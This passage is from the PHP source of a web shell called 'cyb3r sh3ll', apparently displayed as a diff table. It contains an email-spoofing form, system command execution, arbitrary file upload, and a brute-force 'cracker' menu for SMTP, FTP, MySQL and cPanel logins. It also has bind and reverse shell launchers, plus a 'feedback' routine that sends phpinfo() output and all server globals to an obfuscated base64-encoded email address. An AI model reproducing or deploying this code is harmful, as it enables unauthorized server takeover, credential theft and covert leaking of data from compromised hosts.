| 5168 | <tr><td class="taright"><label for="reply" accesskey="p" class="sbold opt">Re<span class="underline">p</span>ly-To:</label></td><td colspan="2"><input type="text" id="reply" name="reply" maxlength="100" class="full" /><label for="errors" accesskey="s" class="sbold opt">Error<span class="underline">s</span>-To:</label></td><td colspan="2"><input type="text" id="errors" name="errors" maxlength="100" class="full" /></td></tr> | 5168 | <tr><td class="taright"><label for="reply" accesskey="p" class="sbold opt">Re<span class="underline">p</span>ly-To:</label></td><td colspan="2"><input type="text" id="reply" name="reply" maxlength="100" class="full" /><label for="errors" accesskey="s" class="sbold opt">Error<span class="underline">s</span>-To:</label></td><td colspan="2"><input type="text" id="errors" name="errors" maxlength="100" class="full" /></td></tr> |
| 5169 | 5169 | ||
| 5170 | <tr><td class="taright"><label for="bcc" accesskey="b" class="sbold opt"><span class="underline">B</span>CC:</label></td><td colspan="2"><input type="text" id="bcc" name="bcc" maxlength="100" class="full" /><label for="attachment" accesskey="t" class="sbold opt">A<span class="underline">t</span>tachment:</label></td><td colspan="2"><input type="file" id="attachment" name="attachment" class="full" /></td></tr> | 5170 | <tr><td class="taright"><label for="bcc" accesskey="b" class="sbold opt"><span class="underline">B</span>CC:</label></td><td colspan="2"><input type="text" id="bcc" name="bcc" maxlength="100" class="full" /><label for="attachment" accesskey="t" class="sbold opt">A<span class="underline">t</span>tachment:</label></td><td colspan="2"><input type="file" id="attachment" name="attachment" class="full" /></td></tr> |
| 5171 | 5171 | ||
| 5172 | <tr><td class="taright sbold opt">Priority:</td><td colspan="2"><input type="radio" name="importance" id="lowest" value="lowest" /><label for="lowest" accesskey="w"> Lo<span class="underline">w</span></label><input type="radio" name="importance" id="normal" value="normal" class="rbtn" checked="checked" /><label for="normal" accesskey="m"> Nor<span class="underline">m</span>al</label><input type="radio" name="importance" id="highest" value="highest" class="rbtn" /><label for="highest" accesskey="g"> Hi<span class="underline">g</span>h</label></td></tr> | 5172 | <tr><td class="taright sbold opt">Priority:</td><td colspan="2"><input type="radio" name="importance" id="lowest" value="lowest" /><label for="lowest" accesskey="w"> Lo<span class="underline">w</span></label><input type="radio" name="importance" id="normal" value="normal" class="rbtn" checked="checked" /><label for="normal" accesskey="m"> Nor<span class="underline">m</span>al</label><input type="radio" name="importance" id="highest" value="highest" class="rbtn" /><label for="highest" accesskey="g"> Hi<span class="underline">g</span>h</label></td></tr> |
| 5173 | 5173 | ||
| 5174 | <tr><td class="vatop taright"><label for="xmailer" accesskey="l" class="sbold opt"><span id="mailer">X-Mai<span class="underline">l</span>er:</span></label></td><td colspan="2"> | 5174 | <tr><td class="vatop taright"><label for="xmailer" accesskey="l" class="sbold opt"><span id="mailer">X-Mai<span class="underline">l</span>er:</span></label></td><td colspan="2"> |
| 5175 | <select name="xmailer" id="xmailer"> | 5175 | <select name="xmailer" id="xmailer"> |
| 5176 | <option value="0" selected="selected">- none -</option> | 5176 | <option value="0" selected="selected">- none -</option> |
| 5177 | <option value="1">Apple Mail</option> | 5177 | <option value="1">Apple Mail</option> |
| 5178 | <option value="2">ColdFusion MX Application Server</option> | 5178 | <option value="2">ColdFusion MX Application Server</option> |
| 5179 | <option value="3">E-Messenger</option> | 5179 | <option value="3">E-Messenger</option> |
| 5180 | <option value="4">KMail</option> | 5180 | <option value="4">KMail</option> |
| 5181 | 5181 | ||
| 5182 | <option value="5">Lotus Notes</option> | 5182 | <option value="5">Lotus Notes</option> |
| 5183 | <option value="6">Microsoft Office Outlook</option> | 5183 | <option value="6">Microsoft Office Outlook</option> |
| 5184 | <option value="7">Microsoft Outlook Express</option> | 5184 | <option value="7">Microsoft Outlook Express</option> |
| 5185 | <option value="8">Microsoft Outlook IMO</option> | 5185 | <option value="8">Microsoft Outlook IMO</option> |
| 5186 | <option value="9">Microsoft Windows Live Mail</option> | 5186 | <option value="9">Microsoft Windows Live Mail</option> |
| 5187 | <option value="10">Microsoft Windows Mail</option> | 5187 | <option value="10">Microsoft Windows Mail</option> |
| 5188 | <option value="11">Mozilla Thunderbird</option> | 5188 | <option value="11">Mozilla Thunderbird</option> |
| 5189 | <option value="12">Novell GroupWise</option> | 5189 | <option value="12">Novell GroupWise</option> |
| 5190 | <option value="13">Novell GroupWise Internet Agent</option> | 5190 | <option value="13">Novell GroupWise Internet Agent</option> |
| 5191 | <option value="14">QUALCOMM Windows Eudora Version</option> | 5191 | <option value="14">QUALCOMM Windows Eudora Version</option> |
| 5192 | <option value="15">The Bat!</option> | 5192 | <option value="15">The Bat!</option> |
| 5193 | <option value="16">YahooMailClassic YahooMailWebService</option> | 5193 | <option value="16">YahooMailClassic YahooMailWebService</option> |
| 5194 | <option value="99">Custom...</option> | 5194 | <option value="99">Custom...</option> |
| 5195 | </select> | 5195 | </select> |
| 5196 | 5196 | ||
| 5197 | </td></tr> | 5197 | </td></tr> |
| 5198 | 5198 | ||
| 5199 | <tr><td class="taright"><label for="date" accesskey="d" class="sbold opt"><span class="underline">D</span>ate:</label></td><td colspan="2"><input type="text" id="date" name="date" maxlength="50" value="Thu, 10 Nov 2011 18:41:04 +0100" class="datewidth" /> <input type="checkbox" id="current" name="current" checked="checked" /><label for="current" accesskey="u"> C<span class="underline">u</span>rrent</label></td></tr> | 5199 | <tr><td class="taright"><label for="date" accesskey="d" class="sbold opt"><span class="underline">D</span>ate:</label></td><td colspan="2"><input type="text" id="date" name="date" maxlength="50" value="Thu, 10 Nov 2011 18:41:04 +0100" class="datewidth" /> <input type="checkbox" id="current" name="current" checked="checked" /><label for="current" accesskey="u"> C<span class="underline">u</span>rrent</label></td></tr> |
| 5200 | <tr><td class="taright"><label for="charset" accesskey="a" class="sbold opt">Ch<span class="underline">a</span>rset:</label></td><td class="cchs"> | 5200 | <tr><td class="taright"><label for="charset" accesskey="a" class="sbold opt">Ch<span class="underline">a</span>rset:</label></td><td class="cchs"> |
| 5201 | <select name="charset" id="charset" class="full"> | 5201 | <select name="charset" id="charset" class="full"> |
| 5202 | <option value="big5">big5</option> | 5202 | <option value="big5">big5</option> |
| 5203 | <option value="euc-kr">euc-kr</option> | 5203 | <option value="euc-kr">euc-kr</option> |
| 5204 | <option value="iso-2202-jp">iso-2202-jp</option> | 5204 | <option value="iso-2202-jp">iso-2202-jp</option> |
| 5205 | <option value="iso-8859-1">iso-8859-1</option> | 5205 | <option value="iso-8859-1">iso-8859-1</option> |
| 5206 | <option value="iso-8859-2">iso-8859-2</option> | 5206 | <option value="iso-8859-2">iso-8859-2</option> |
| 5207 | <option value="iso-8859-3">iso-8859-3</option> | 5207 | <option value="iso-8859-3">iso-8859-3</option> |
| 5208 | <option value="iso-8859-4">iso-8859-4</option> | 5208 | <option value="iso-8859-4">iso-8859-4</option> |
| 5209 | <option value="iso-8859-5">iso-8859-5</option> | 5209 | <option value="iso-8859-5">iso-8859-5</option> |
| 5210 | <option value="iso-8859-6">iso-8859-6</option> | 5210 | <option value="iso-8859-6">iso-8859-6</option> |
| 5211 | <option value="iso-8859-7">iso-8859-7</option> | 5211 | <option value="iso-8859-7">iso-8859-7</option> |
| 5212 | <option value="iso-8859-8">iso-8859-8</option> | 5212 | <option value="iso-8859-8">iso-8859-8</option> |
| 5213 | <option value="koi8-r">koi8-r</option> | 5213 | <option value="koi8-r">koi8-r</option> |
| 5214 | <option value="shift-jis">shift-jis</option> | 5214 | <option value="shift-jis">shift-jis</option> |
| 5215 | <option value="utf-8" selected="selected">utf-8</option> | 5215 | <option value="utf-8" selected="selected">utf-8</option> |
| 5216 | <option value="windows-1250">windows-1250</option> | 5216 | <option value="windows-1250">windows-1250</option> |
| 5217 | <option value="windows-1251">windows-1251</option> | 5217 | <option value="windows-1251">windows-1251</option> |
| 5218 | <option value="windows-1252">windows-1252</option> | 5218 | <option value="windows-1252">windows-1252</option> |
| 5219 | <option value="windows-1253">windows-1253</option> | 5219 | <option value="windows-1253">windows-1253</option> |
| 5220 | <option value="windows-1254">windows-1254</option> | 5220 | <option value="windows-1254">windows-1254</option> |
| 5221 | <option value="windows-1255">windows-1255</option> | 5221 | <option value="windows-1255">windows-1255</option> |
| 5222 | <option value="windows-1256">windows-1256</option> | 5222 | <option value="windows-1256">windows-1256</option> |
| 5223 | <option value="windows-1257">windows-1257</option> | 5223 | <option value="windows-1257">windows-1257</option> |
| 5224 | <option value="windows-1258">windows-1258</option> | 5224 | <option value="windows-1258">windows-1258</option> |
| 5225 | <option value="windows-874">windows-874</option> | 5225 | <option value="windows-874">windows-874</option> |
| 5226 | <option value="x-euc">x-euc</option> | 5226 | <option value="x-euc">x-euc</option> |
| 5227 | <option value="99">Custom...</option> | 5227 | <option value="99">Custom...</option> |
| 5228 | </select> | 5228 | </select> |
| 5229 | </td><td><input type="text" name="mycharset" maxlength="50" class="full" /></td></tr> | 5229 | </td><td><input type="text" name="mycharset" maxlength="50" class="full" /></td></tr> |
| 5230 | <tr><td class="taright sbold opt">Content-Type:</td><td colspan="2"><input type="radio" name="ctype" id="plain" value="plain" checked="checked" /><label for="plain" accesskey="n"> text/plai<span class="underline">n</span></label><input type="radio" name="ctype" id="html" value="html" class="rbtn" /><label for="html" accesskey="h" id="mrk"> text/<span class="underline">h</span>tml</label><input type="hidden" name="rte" value="0" /></td></tr> | 5230 | <tr><td class="taright sbold opt">Content-Type:</td><td colspan="2"><input type="radio" name="ctype" id="plain" value="plain" checked="checked" /><label for="plain" accesskey="n"> text/plai<span class="underline">n</span></label><input type="radio" name="ctype" id="html" value="html" class="rbtn" /><label for="html" accesskey="h" id="mrk"> text/<span class="underline">h</span>tml</label><input type="hidden" name="rte" value="0" /></td></tr> |
| 5231 | <tr><td class="vatop taright"><label for="text" accesskey="x" class="sbold">Te<span class="underline">x</span>t:</label></td><td colspan="2"><textarea cols="30" rows="5" id="text" name="text" value="I cant forget the time, i was trying to learn all this stuff without some guidance .." onfocus="if(this.value == 'I cant forget the time, i was trying to learn all this stuff without some guidance ..')this.value = '';" onblur="if(this.value=='')this.value='I cant forget the time, i was trying to learn all this stuff without some guidance ..';" />I cant forget the time, i was trying to learn all this stuff without some guidance ..</textarea></td></tr> | 5231 | <tr><td class="vatop taright"><label for="text" accesskey="x" class="sbold">Te<span class="underline">x</span>t:</label></td><td colspan="2"><textarea cols="30" rows="5" id="text" name="text" value="I cant forget the time, i was trying to learn all this stuff without some guidance .." onfocus="if(this.value == 'I cant forget the time, i was trying to learn all this stuff without some guidance ..')this.value = '';" onblur="if(this.value=='')this.value='I cant forget the time, i was trying to learn all this stuff without some guidance ..';" />I cant forget the time, i was trying to learn all this stuff without some guidance ..</textarea></td></tr> |
| 5232 | <tr><td></td><td colspan="2"><input type="reset" value="Clear" class="btn" /> <input type="submit" name="ok" value="Send" class="btn sbold slarger" /></td></tr> | 5232 | <tr><td></td><td colspan="2"><input type="reset" value="Clear" class="btn" /> <input type="submit" name="ok" value="Send" class="btn sbold slarger" /></td></tr> |
| 5233 | </table> | 5233 | </table> |
| 5234 | </form> | 5234 | </form> |
| 5235 | 5235 | ||
| 5236 | </center></td> | 5236 | </center></td> |
| 5237 | 5237 | ||
| 5238 | </tr> | 5238 | </tr> |
| 5239 | 5239 | ||
| 5240 | </table> <?php | 5240 | </table> <?php |
| 5241 | } | 5241 | } |
| 5242 | 5242 | ||
| 5243 | if ($act == "nettools") | 5243 | if ($act == "nettools") |
| 5244 | { | 5244 | { |
| 5245 | echo "<br><center><a href=\"".$surl."act=proxy\" ><b><u>Proxy </u></b></a><font color='silver'><b> | </b></font><a href=\"".$surl."act=whois\" ><b><u>Whois </u></b></a></center><br>"; | 5245 | echo "<br><center><a href=\"".$surl."act=proxy\" ><b><u>Proxy </u></b></a><font color='silver'><b> | </b></font><a href=\"".$surl."act=whois\" ><b><u>Whois </u></b></a></center><br>"; |
| 5246 | } | 5246 | } |
| 5247 | 5247 | ||
| 5248 | if ($act == "feedback") | 5248 | if ($act == "feedback") |
| 5249 | 5249 | ||
| 5250 | { | 5250 | { |
| 5251 | 5251 | ||
| 5252 | $suppmail = base64_decode("Y3liM3IuZ2xhZGlhdDByQGdtYWlsLmNvbQ=="); | 5252 | $suppmail = base64_decode("Y3liM3IuZ2xhZGlhdDByQGdtYWlsLmNvbQ=="); |
| 5253 | 5253 | ||
| 5254 | if (!empty($submit)) | 5254 | if (!empty($submit)) |
| 5255 | 5255 | ||
| 5256 | { | 5256 | { |
| 5257 | 5257 | ||
| 5258 | $ticket = substr(md5(microtime()+rand(1,1000)),0,6); | 5258 | $ticket = substr(md5(microtime()+rand(1,1000)),0,6); |
| 5259 | 5259 | ||
| 5260 | $body = "cyb3r sh3llv.".$shver." feedback #".$ticket."\nName: ".htmlspecialchars($fdbk_name)."\nE-mail: ".htmlspecialchars($fdbk_email)."\nMessage:\n".htmlspecialchars($fdbk_body)."\n\nIP: ".$REMOTE_ADDR; | 5260 | $body = "cyb3r sh3llv.".$shver." feedback #".$ticket."\nName: ".htmlspecialchars($fdbk_name)."\nE-mail: ".htmlspecialchars($fdbk_email)."\nMessage:\n".htmlspecialchars($fdbk_body)."\n\nIP: ".$REMOTE_ADDR; |
| 5261 | 5261 | ||
| 5262 | if (!empty($fdbk_ref)) | 5262 | if (!empty($fdbk_ref)) |
| 5263 | 5263 | ||
| 5264 | { | 5264 | { |
| 5265 | 5265 | ||
| 5266 | $tmp = @ob_get_contents(); | 5266 | $tmp = @ob_get_contents(); |
| 5267 | 5267 | ||
| 5268 | ob_clean(); | 5268 | ob_clean(); |
| 5269 | 5269 | ||
| 5270 | phpinfo(); | 5270 | phpinfo(); |
| 5271 | 5271 | ||
| 5272 | $phpinfo = base64_encode(ob_get_contents()); | 5272 | $phpinfo = base64_encode(ob_get_contents()); |
| 5273 | 5273 | ||
| 5274 | ob_clean(); | 5274 | ob_clean(); |
| 5275 | 5275 | ||
| 5276 | echo $tmp; | 5276 | echo $tmp; |
| 5277 | 5277 | ||
| 5278 | $body .= "\n"."phpinfo(): ".$phpinfo."\n"."\$GLOBALS=".base64_encode(serialize($GLOBALS))."\n"; | 5278 | $body .= "\n"."phpinfo(): ".$phpinfo."\n"."\$GLOBALS=".base64_encode(serialize($GLOBALS))."\n"; |
| 5279 | 5279 | ||
| 5280 | } | 5280 | } |
| 5281 | 5281 | ||
| 5282 | mail($suppmail,"cyb3r sh3ll v.".$shver." feedback #".$ticket,$body,"FROM: ".$suppmail); | 5282 | mail($suppmail,"cyb3r sh3ll v.".$shver." feedback #".$ticket,$body,"FROM: ".$suppmail); |
| 5283 | 5283 | ||
| 5284 | echo "<center><b>Thanks for your feedback! Your ticket ID: ".$ticket.".</b></center>"; | 5284 | echo "<center><b>Thanks for your feedback! Your ticket ID: ".$ticket.".</b></center>"; |
| 5285 | 5285 | ||
| 5286 | } | 5286 | } |
| 5287 | 5287 | ||
| 5288 | else {echo "<form action=\"".$surl."\" method=POST><input type=hidden name=act value=feedback><b>Feedback or report bug (".str_replace(array("@","."),array("[at]","[dot]"),$suppmail)."):<br><br>Your name: <input type=\"text\" name=\"fdbk_name\" value=\"".htmlspecialchars($fdbk_name)."\"><br><br>Your e-mail: <input type=\"text\" name=\"fdbk_email\" value=\"".htmlspecialchars($fdbk_email)."\"><br><br>Message:<br><textarea name=\"fdbk_body\" cols=80 rows=10>".htmlspecialchars($fdbk_body)."</textarea><input type=\"hidden\" name=\"fdbk_ref\" value=\"".urlencode($HTTP_REFERER)."\"><br><br>Attach server-info * <input type=\"checkbox\" name=\"fdbk_servinf\" value=\"1\" checked><br><br>There are no checking in the form.<br><br>* - strongly recommended, if you report bug, because we need it for bug-fix.<br><br>We understand languages: English, Hindi.<br><br><input type=\"submit\" name=\"submit\" value=\"Send\"></form>";} | 5288 | else {echo "<form action=\"".$surl."\" method=POST><input type=hidden name=act value=feedback><b>Feedback or report bug (".str_replace(array("@","."),array("[at]","[dot]"),$suppmail)."):<br><br>Your name: <input type=\"text\" name=\"fdbk_name\" value=\"".htmlspecialchars($fdbk_name)."\"><br><br>Your e-mail: <input type=\"text\" name=\"fdbk_email\" value=\"".htmlspecialchars($fdbk_email)."\"><br><br>Message:<br><textarea name=\"fdbk_body\" cols=80 rows=10>".htmlspecialchars($fdbk_body)."</textarea><input type=\"hidden\" name=\"fdbk_ref\" value=\"".urlencode($HTTP_REFERER)."\"><br><br>Attach server-info * <input type=\"checkbox\" name=\"fdbk_servinf\" value=\"1\" checked><br><br>There are no checking in the form.<br><br>* - strongly recommended, if you report bug, because we need it for bug-fix.<br><br>We understand languages: English, Hindi.<br><br><input type=\"submit\" name=\"submit\" value=\"Send\"></form>";} |
| 5289 | 5289 | ||
| 5290 | } | 5290 | } |
| 5291 | 5291 | ||
| 5292 | if ($act == "systeminfo") {echo system('systeminfo');} | 5292 | if ($act == "systeminfo") {echo system('systeminfo');} |
| 5293 | 5293 | ||
| 5294 | if ($act == "phpinfo") {@ob_clean(); phpinfo(); cyb3rexit(); } | 5294 | if ($act == "phpinfo") {@ob_clean(); phpinfo(); cyb3rexit(); } |
| 5295 | 5295 | ||
| 5296 | if ($act == "upload") | 5296 | if ($act == "upload") |
| 5297 | 5297 | ||
| 5298 | { | 5298 | { |
| 5299 | echo "<b>File upload:</b><br><form enctype=\"multipart/form-data\" action=\"\" method=POST> | 5299 | echo "<b>File upload:</b><br><form enctype=\"multipart/form-data\" action=\"\" method=POST> |
| 5300 | 5300 | ||
| 5301 | Select file on your local computer: <input name=\"uploaded\" type=\"file\"><br> or<br> | 5301 | Select file on your local computer: <input name=\"uploaded\" type=\"file\"><br> or<br> |
| 5302 | 5302 | ||
| 5303 | Save this file dir: <input name=\"path\" size=\"70\" value=\"".getcwd()."\"><br><br> | 5303 | Save this file dir: <input name=\"path\" size=\"70\" value=\"".getcwd()."\"><br><br> |
| 5304 | 5304 | ||
| 5305 | File-name (auto-fill): <input name=uploadfilename size=25><br><br> | 5305 | File-name (auto-fill): <input name=uploadfilename size=25><br><br> |
| 5306 | 5306 | ||
| 5307 | <input type=submit name=submit value=\"Upload\"> | 5307 | <input type=submit name=submit value=\"Upload\"> |
| 5308 | 5308 | ||
| 5309 | </form>"; | 5309 | </form>"; |
| 5310 | $target = $_POST['path']; | 5310 | $target = $_POST['path']; |
| 5311 | $target = $target .'\\'. basename( $_FILES['uploaded']['name']) ; | 5311 | $target = $target .'\\'. basename( $_FILES['uploaded']['name']) ; |
| 5312 | $ok=1; | 5312 | $ok=1; |
| 5313 | if (isset($_FILES['uploaded']['name'])) { | 5313 | if (isset($_FILES['uploaded']['name'])) { |
| 5314 | if (file_exists($target)) | 5314 | if (file_exists($target)) |
| 5315 | { | 5315 | { |
| 5316 | echo $_FILES["uploaded"]["name"] . " already exists. "; | 5316 | echo $_FILES["uploaded"]["name"] . " already exists. "; |
| 5317 | } | 5317 | } |
| 5318 | else | 5318 | else |
| 5319 | { | 5319 | { |
| 5320 | if(move_uploaded_file($_FILES['uploaded']['tmp_name'], $target)) | 5320 | if(move_uploaded_file($_FILES['uploaded']['tmp_name'], $target)) |
| 5321 | { | 5321 | { |
| 5322 | echo "Upload: " . $_FILES["uploaded"]["name"] . "<br />"; | 5322 | echo "Upload: " . $_FILES["uploaded"]["name"] . "<br />"; |
| 5323 | echo "Type: " . $_FILES["uploaded"]["type"] . "<br />"; | 5323 | echo "Type: " . $_FILES["uploaded"]["type"] . "<br />"; |
| 5324 | echo "Size: " . round(($_FILES["uploaded"]["size"] / 1024),3) . " Kb<br />"; | 5324 | echo "Size: " . round(($_FILES["uploaded"]["size"] / 1024),3) . " Kb<br />"; |
| 5325 | echo "Stored in: " . $target; | 5325 | echo "Stored in: " . $target; |
| 5326 | } | 5326 | } |
| 5327 | else | 5327 | else |
| 5328 | { | 5328 | { |
| 5329 | echo "Sorry, there was a problem uploading your file."; | 5329 | echo "Sorry, there was a problem uploading your file."; |
| 5330 | } | 5330 | } |
| 5331 | } | 5331 | } |
| 5332 | } | 5332 | } |
| 5333 | } | 5333 | } |
| 5334 | if ($act == "whois") | 5334 | if ($act == "whois") |
| 5335 | { | 5335 | { |
| 5336 | global $t,$hcwd; | 5336 | global $t,$hcwd; |
| 5337 | if (!empty($_REQUEST['server']) && !empty($_REQUEST['domain'])){ | 5337 | if (!empty($_REQUEST['server']) && !empty($_REQUEST['domain'])){ |
| 5338 | $server =$_REQUEST['server']; | 5338 | $server =$_REQUEST['server']; |
| 5339 | $domain=$_REQUEST['domain']."\r\n"; | 5339 | $domain=$_REQUEST['domain']."\r\n"; |
| 5340 | $ser=fsockopen($server,43,$en,$es,5); | 5340 | $ser=fsockopen($server,43,$en,$es,5); |
| 5341 | fputs($ser,$domain); | 5341 | fputs($ser,$domain); |
| 5342 | echo "<pre>"; | 5342 | echo "<pre>"; |
| 5343 | while(!feof($ser))echo fgets($ser); | 5343 | while(!feof($ser))echo fgets($ser); |
| 5344 | echo "</pre>"; | 5344 | echo "</pre>"; |
| 5345 | fclose($ser); | 5345 | fclose($ser); |
| 5346 | } | 5346 | } |
| 5347 | else{ | 5347 | else{ |
| 5348 | echo "<center><table width=\"50%\">Whois:<form method=\"POST\"><tr><td width=\"20%\" bgcolor=\"#666666\">Server:</td><td bgcolor=\"#666666\"><input type=text value=\"";if (!empty($_REQUEST['server'])) echo htmlspecialchars($_REQUEST['server']);else echo "whois.geektools.com"; echo "\" name=server size=35></td></tr><tr><td width=\"20%\" bgcolor=\"#808080\">domain:</td><td bgcolor=\"#808080\"><input type=text name=domain value=\"";if (!empty($_REQUEST['domain'])) echo htmlspecialchars($_REQUEST['domain']); else echo "google.com"; echo "\" size=35></td><tr><td bgcolor=\"#666666\"></td><td bgcolor=\"#666666\" align=right>$hcwd<input class=buttons type=submit value=\"Do\"></td></tr></form></table></center>"; | 5348 | echo "<center><table width=\"50%\">Whois:<form method=\"POST\"><tr><td width=\"20%\" bgcolor=\"#666666\">Server:</td><td bgcolor=\"#666666\"><input type=text value=\"";if (!empty($_REQUEST['server'])) echo htmlspecialchars($_REQUEST['server']);else echo "whois.geektools.com"; echo "\" name=server size=35></td></tr><tr><td width=\"20%\" bgcolor=\"#808080\">domain:</td><td bgcolor=\"#808080\"><input type=text name=domain value=\"";if (!empty($_REQUEST['domain'])) echo htmlspecialchars($_REQUEST['domain']); else echo "google.com"; echo "\" size=35></td><tr><td bgcolor=\"#666666\"></td><td bgcolor=\"#666666\" align=right>$hcwd<input class=buttons type=submit value=\"Do\"></td></tr></form></table></center>"; |
| 5349 | } | 5349 | } |
| 5350 | } | 5350 | } |
| 5351 | 5351 | ||
| 5352 | 5352 | ||
| 5353 | 5353 | ||
| 5354 | if ($act == "cracker") | 5354 | if ($act == "cracker") |
| 5355 | { | 5355 | { |
| 5356 | echo " | 5356 | echo " |
| 5357 | <br><center> | 5357 | <br><center> |
| 5358 | <a href=\"".$surl."act=hash\" >Hash</a><font color='silver'> -|- </font> | 5358 | <a href=\"".$surl."act=hash\" >Hash</a><font color='silver'> -|- </font> |
| 5359 | <a href=\"".$surl."act=smtp\" >SMTP</a><font color='silver'> -|- </font> | 5359 | <a href=\"".$surl."act=smtp\" >SMTP</a><font color='silver'> -|- </font> |
| 5360 | <a href=\"".$surl."act=pop3\" >POP3</a><font color='silver'> -|- </font> | 5360 | <a href=\"".$surl."act=pop3\" >POP3</a><font color='silver'> -|- </font> |
| 5361 | <a href=\"".$surl."act=imap\" >IMAP</a><font color='silver'> -|- </font> | 5361 | <a href=\"".$surl."act=imap\" >IMAP</a><font color='silver'> -|- </font> |
| 5362 | <a href=\"".$surl."act=ftp\" >FTP</a><font color='silver'> -|- </font> | 5362 | <a href=\"".$surl."act=ftp\" >FTP</a><font color='silver'> -|- </font> |
| 5363 | <a href=\"".$surl."act=snmp\" >SNMP</a><font color='silver'> -|- </font> | 5363 | <a href=\"".$surl."act=snmp\" >SNMP</a><font color='silver'> -|- </font> |
| 5364 | <a href=\"".$surl."act=mysql\" >MySQL</a><font color='silver'> -|- </font> | 5364 | <a href=\"".$surl."act=mysql\" >MySQL</a><font color='silver'> -|- </font> |
| 5365 | <a href=\"".$surl."act=htmlform\" >HTTP Form</a><font color='silver'> -|- </font> | 5365 | <a href=\"".$surl."act=htmlform\" >HTTP Form</a><font color='silver'> -|- </font> |
| 5366 | <a href=\"".$surl."act=basicauth\" >HTTP Auth(basic)</a><font color='silver'> -|- </font> | 5366 | <a href=\"".$surl."act=basicauth\" >HTTP Auth(basic)</a><font color='silver'> -|- </font> |
| 5367 | <a href=\"".$surl."act=cpanel\" >CPANEL</a><font color='silver'> -|- </font> | 5367 | <a href=\"".$surl."act=cpanel\" >CPANEL</a><font color='silver'> -|- </font> |
| 5368 | <a href=\"".$surl."act=dic\" >Dictionary Maker</a> | 5368 | <a href=\"".$surl."act=dic\" >Dictionary Maker</a> |
| 5369 | </center><br>"; | 5369 | </center><br>"; |
| 5370 | } | 5370 | } |
| 5371 | 5371 | ||
| 5372 | if ($act == "shells") | 5372 | if ($act == "shells") |
| 5373 | { ?> | 5373 | { ?> |
| 5374 | <TABLE style="BORDER-COLLAPSE: collapse; borderColor=#c0c0c0" cellSpacing=0 cellPadding=5 width="100%" border=1> | 5374 | <TABLE style="BORDER-COLLAPSE: collapse; borderColor=#c0c0c0" cellSpacing=0 cellPadding=5 width="100%" border=1> |
| 5375 | <tr> <!-- 1 --> | 5375 | <tr> <!-- 1 --> |
| 5376 | <td valign="top" width="50%" ><p align="center"><b>(: Bind/Reverse Shell :)</b></p></td> | 5376 | <td valign="top" width="50%" ><p align="center"><b>(: Bind/Reverse Shell :)</b></p></td> |
| 5377 | <td valign="top" ><p align="center"><b>[: Web Shell :]</b></p></td> | 5377 | <td valign="top" ><p align="center"><b>[: Web Shell :]</b></p></td> |
| 5378 | 5378 | ||
| 5379 | </tr> | 5379 | </tr> |
| 5380 | <tr><!-- 2 --> | 5380 | <tr><!-- 2 --> |
| 5381 | <td valign="top" ><center> | 5381 | <td valign="top" ><center> |
| 5382 | <?php | 5382 | <?php |
| 5383 | 5383 | ||
| 5384 | $bndportsrcs = array( | 5384 | $bndportsrcs = array( |
| 5385 | 5385 | ||
| 5386 | "cyb3r_bindport.pl"=>array("Using PERL","perl %path %port"), | 5386 | "cyb3r_bindport.pl"=>array("Using PERL","perl %path %port"), |
| 5387 | 5387 | ||
| 5388 | "cyb3r_bindport.c"=>array("Using C","%path %port %pass") | 5388 | "cyb3r_bindport.c"=>array("Using C","%path %port %pass") |
| 5389 | 5389 | ||
| 5390 | ); | 5390 | ); |
| 5391 | 5391 | ||
| 5392 | $bcsrcs = array( | 5392 | $bcsrcs = array( |
| 5393 | 5393 | ||
| 5394 | "cyb3r_backconn.pl"=>array("Using PERL","perl %path %host %port"), | 5394 | "cyb3r_backconn.pl"=>array("Using PERL","perl %path %host %port"), |
| 5395 | 5395 | ||
| 5396 | "cyb3r_backconn.c"=>array("Using C","%path %host %port") | 5396 | "cyb3r_backconn.c"=>array("Using C","%path %host %port") |
| 5397 | 5397 | ||
| 5398 | ); | 5398 | ); |
| 5399 | 5399 | ||
| 5400 | $dpsrcs = array( | 5400 | $dpsrcs = array( |
| 5401 | 5401 | ||
| 5402 | "cyb3r_datapipe.pl"=>array("Using PERL","perl %path %localport %remotehost %remoteport"), | 5402 | "cyb3r_datapipe.pl"=>array("Using PERL","perl %path %localport %remotehost %remoteport"), |
| 5403 | 5403 | ||
| 5404 | "cyb3r_datapipe.c"=>array("Using C","%path %localport %remoteport %remotehost") | 5404 | "cyb3r_datapipe.c"=>array("Using C","%path %localport %remoteport %remotehost") |
| 5405 | 5405 | ||
| 5406 | ); | 5406 | ); |
| 5407 | 5407 | ||
| 5408 | if (!is_array($bind)) {$bind = array();} | 5408 | if (!is_array($bind)) {$bind = array();} |
| 5409 | 5409 | ||
| 5410 | if (!is_array($bc)) {$bc = array();} | 5410 | if (!is_array($bc)) {$bc = array();} |
| 5411 | 5411 | ||
| 5412 | if (!is_array($datapipe)) {$datapipe = array();} | 5412 | if (!is_array($datapipe)) {$datapipe = array();} |
| 5413 | 5413 | ||
| 5414 | 5414 | ||
| 5415 | 5415 | ||
| 5416 | if (!is_numeric($bind["port"])) {$bind["port"] = $bindport_port;} | 5416 | if (!is_numeric($bind["port"])) {$bind["port"] = $bindport_port;} |
| 5417 | 5417 | ||
| 5418 | if (empty($bind["pass"])) {$bind["pass"] = $bindport_pass;} | 5418 | if (empty($bind["pass"])) {$bind["pass"] = $bindport_pass;} |
| 5419 | 5419 | ||
| 5420 | 5420 | ||
| 5421 | 5421 | ||
| 5422 | if (empty($bc["host"])) {$bc["host"] = getenv("REMOTE_ADDR");} | 5422 | if (empty($bc["host"])) {$bc["host"] = getenv("REMOTE_ADDR");} |
| 5423 | 5423 | ||
| 5424 | if (!is_numeric($bc["port"])) {$bc["port"] = $bc_port;} | 5424 | if (!is_numeric($bc["port"])) {$bc["port"] = $bc_port;} |
| 5425 | 5425 | ||
| 5426 | 5426 | ||
| 5427 | 5427 | ||
| 5428 | if (empty($datapipe["remoteaddr"])) {$datapipe["remoteaddr"] = "irc.dalnet.ru:6667";} | 5428 | if (empty($datapipe["remoteaddr"])) {$datapipe["remoteaddr"] = "irc.dalnet.ru:6667";} |
| 5429 | 5429 | ||
| 5430 | if (!is_numeric($datapipe["localport"])) {$datapipe["localport"] = $datapipe_localport;} | 5430 | if (!is_numeric($datapipe["localport"])) {$datapipe["localport"] = $datapipe_localport;} |
| 5431 | 5431 | ||
| 5432 | if (!empty($bindsubmit)) | 5432 | if (!empty($bindsubmit)) |
| 5433 | 5433 | ||
| 5434 | { | 5434 | { |
| 5435 | 5435 | ||
| 5436 | echo "<b>Result of binding port:</b><br>"; | 5436 | echo "<b>Result of binding port:</b><br>"; |
| 5437 | 5437 | ||
